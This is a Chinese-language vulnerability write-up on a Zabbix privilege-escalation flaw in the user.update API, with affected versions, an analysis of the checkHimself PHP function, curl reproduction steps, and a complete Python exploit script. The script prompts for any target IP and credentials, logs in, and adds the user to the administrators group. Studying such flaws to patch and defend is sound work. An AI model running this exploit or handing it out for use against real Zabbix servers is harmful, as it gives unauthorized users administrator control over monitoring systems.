漏洞描述
- 在Zabbix中,具有API访问权限的已认证用户(例如具有默认用户角色的用户)可以通过调用user.update API接口,将自己添加到任何用户组(如Zabbix管理员组)。
- 然而,用户无法添加到已被禁用或具有受限GUI访问权限的用户组。
- 该漏洞源于缺乏对用户组添加操作的授权检查。
影响版本
- Zabbix 5.0.42
- Zabbix 6.0.32
- Zabbix 6.4.17
- Zabbix 7.0.1rc1
源码分析
在validateUpdate 函数中,调用了第 542 行第 1109 行的 checkHimself 函数。checkYourself 函数包含以下代码:
private function checkHimself(array $users) {
foreach ($users as $user) {
if (bccomp($user['userid'], self::$userData['userid']) == 0) {
if (array_key_exists('roleid', $user) && $user['roleid'] !=
self::$userData['roleid']) {
self::exception(ZBX_API_ERROR_PARAMETERS, _('User cannot change
own role.'));
}
if (array_key_exists('usrgrps', $user)) {
$db_usrgrps = DB::select('usrgrp', [
'output' => ['gui_access', 'users_status'],
'usrgrpids' => zbx_objectValues($user['usrgrps'], 'usrgrpid')
]);
foreach ($db_usrgrps as $db_usrgrp) {
if ($db_usrgrp['gui_access'] == GROUP_GUI_ACCESS_DISABLED
|| $db_usrgrp['users_status'] ==
GROUP_STATUS_DISABLED) {
self::exception(ZBX_API_ERROR_PARAMETERS,
_('User cannot add himself to a disabled group or a
group with disabled GUI access.')
);
}
}
}
break;
}
}
}
- if (bccomp($user['userid'], self::$userData['userid']) == 0) :bccomp 比较当前遍历的用户 ID 和当前登录用户 ID(self::$userData['userid']),如果匹配(返回 0),说明用户在尝试修改自己的数据。
- if (array_key_exists('roleid', $user) && $user['roleid'] != self::$userData['roleid']) {self::exception(ZBX_API_ERROR_PARAMETERS, _('User cannot change own role.'));}:当要修改的用户id与当前用户的id不一致时将会报错。即只能修改自己的数据。
if (array_key_exists('usrgrps', $user)) {
$db_usrgrps = DB::select('usrgrp', [
'output' => ['gui_access', 'users_status'],
'usrgrpids' => zbx_objectValues($user['usrgrps'], 'usrgrpid')
]);
这段代码用于检查用户组权限,如果请求中包含 usrgrps(用户组变更),就从数据库查询这些组的 gui_access 和 users_status 字段。
foreach ($db_usrgrps as $db_usrgrp) {
if ($db_usrgrp['gui_access'] == GROUP_GUI_ACCESS_DISABLED
|| $db_usrgrp['users_status'] == GROUP_STATUS_DISABLED) {
self::exception(ZBX_API_ERROR_PARAMETERS,
_('User cannot add himself to a disabled group or a group with disabled GUI access.')
);
}
}
这段代码用于验证组的状态,如果处于禁用或禁止GUI访问状态,就会报错。
从以上代码可以看出用户只能修改自己的数据,在用户组变更时没有对用户的权限进行校验,只检查用户组的状态,因此用户可以将自己添加进任意组中。
复现步骤
(1)尝试登陆,如果登陆成功会返回登陆凭证
curl --request POST \
--url 'http://192.168.116.134/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{"jsonrpc":"2.0","method":"user.login","params":
{"username":"user","password":"yong1234"},"id":1}'
(2)修改当前用户的用户组
原本user属于Guests群组
输入命令
curl --request POST \
--url 'http://192.168.116.134/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{"jsonrpc":"2.0","method":"user.update","params":
{"userid":"3","usrgrps":[{"usrgrpid":"7"}]},"auth":"7f33020f67fc24a13bf37b72e974d73a","id":1}'
发现user的群组已经更改为管理员群组了
EXP
import requests
import json
def get_auth(target, username, password):
login_url = f"http://{target}/api_jsonrpc.php"
headers = {
'Content-Type': 'application/json-rpc',
'User-Agent': 'Zabbix-Privilege Escalation-Scanner'
}
login_data = {
"jsonrpc": "2.0",
"method": "user.login",
"params": {
"username": username,
"password": password
},
"id": 1
}
try:
login_response = requests.post(
login_url,
headers=headers,
data=json.dumps(login_data),
timeout=10,
verify=False
)
if login_response.status_code != 200:
print(f"[-] 登录失败,HTTP状态码: {login_response.status_code}")
return False
login_result = login_response.json()
auth_token = login_result['result']
print(f"[+] 成功获取认证令牌: {auth_token}")
return auth_token
except requests.exceptions.RequestException as e:
print(f"[-] 请求失败: {str(e)}")
return False
except json.JSONDecodeError as e:
print(f"[-] JSON解析失败: {str(e)}")
return False
def update_user_group(target, auth_token):
update_url = f"http://{target}/api_jsonrpc.php"
headers = {
'Content-Type': 'application/json-rpc',
'User-Agent': 'Zabbix-Privilege Escalation-Scanner'
}
update_data = {
"jsonrpc": "2.0",
"method": "user.update",
"params": {
"userid": "3",
"usrgrps": [{"usrgrpid": "7"}]
},
"auth": auth_token,
"id": 1
}
try:
response = requests.post(
update_url,
headers=headers,
data=json.dumps(update_data),
timeout=10,
verify=False
)
update_result = response.json()
if response.status_code != 200:
print(f"[-] 更改失败,HTTP状态码: {response.status_code}")
return False
else:
print(update_result)
except requests.exceptions.RequestException as e:
print(f"[-] 更改请求失败: {str(e)}")
return False
except json.JSONDecodeError as e:
print(f"[-] JSON解析失败: {str(e)}")
return False
if __name__ == '__main__':
target = input("请输入目标IP:")
username = input("请输入用户名:")
password = input("请输入密码:")
auth_token = get_auth(target, username, password)
update_user_group(target, auth_token)